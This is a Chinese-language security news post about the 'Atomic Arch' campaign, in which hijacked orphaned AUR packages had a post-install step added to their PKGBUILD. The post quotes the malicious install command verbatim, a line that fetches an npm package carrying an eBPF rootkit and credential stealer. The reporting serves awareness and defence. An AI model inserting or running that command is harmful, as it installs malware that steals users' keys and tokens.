[推荐]黑客盯上Arch Linux用户：超20个AUR软件包被植入了后门-安全资讯-看雪安全社区

Editor

1天前

625

安全研究公司Sonatype近日披露了一起代号为“Atomic Arch”的恶意攻击活动。黑客没有直接攻击Linux内核，也没有爆破用户密码，而是选择了一条更隐蔽的路——钻了开源社区“软件包所有权转移”流程的空子。

被遗弃的软件包，成了最佳跳板

AUR是Arch Linux生态中非常重要的一个社区仓库，里面大量软件包由志愿者维护。当一个维护者不再更新自己的项目时，这个软件包会被标记为“orphaned”（被遗弃的）。

此时，其他开发者可以申请接管它。平台允许所有权转移，同时保留原包名和历史记录——这本是开源社区常见的良性机制，但在Atomic Arch攻击中，它被彻底武器化了。

攻击者盯上了那些曾经被信任、如今无人维护的软件包，申请成为新主人。用户在使用yay或paru等AUR助手更新时，完全不会意识到软件包已经换了东家。

不碰源码，只改构建脚本

Sonatype的工程师Eyad Hasan最早发现了异常。进一步调查显示，攻击者并没有修改软件本身的源代码，而是改动了一个叫 PKGBUILD 的配置文件。

PKGBUILD是Arch Linux构建软件包的核心脚本。攻击者在其post-install（安装后脚本）中悄悄插入了一条命令：

bash

npm install atomic-lockfile minimist chalk

这条命令会从公共npm仓库下载一个名为 atomic-lockfile 的依赖包。表面上看起来，它只是一个普通的JavaScript依赖，但实际上，这才是真正的恶意载荷。

研究人员指出，被劫持的原始软件包本身代码完全干净，这也是传统基于特征码的杀毒软件完全无法发现威胁的原因。Sonatype将该恶意依赖标记为 Sonatype-2026-003775，CVSS评分高达 8.7（高危）。

eBPF技术加持，恶意程序藏入系统底层

更棘手的是后面的动作。

Sonatype研究员Adam Reynolds分析了atomic-lockfile包后发现，其中捆绑了一个Linux原生二进制可执行文件。在package.json脚本的preinstall阶段，这个二进制文件会被触发，并利用Linux内核中的eBPF技术加载第二阶段的载荷。

eBPF原本是Linux内核用于安全监控、网络过滤等场景的高效技术，但在这里被用来加载一个名为 scales.bpf.c 的代码文件。这个文件赋予了恶意程序接近rootkit的能力：

劫持系统调用：当用户或安全工具执行`ls`或查找文件时，它能够动态过滤结果，隐藏自己的进程和文件；
反调试检测：主动识别系统是否运行了代码调试器或安全分析工具，一旦发现就停止恶意行为；
凭证窃取：定向收集GitHub密钥、SSH私钥、HashiCorp Vault令牌、浏览器Cookie，以及Slack、Discord、Microsoft Teams、Telegram等通讯工具的本地数据。

所有窃取到的数据，最终通过内置的Web上传工具直接发送到攻击者控制的服务器。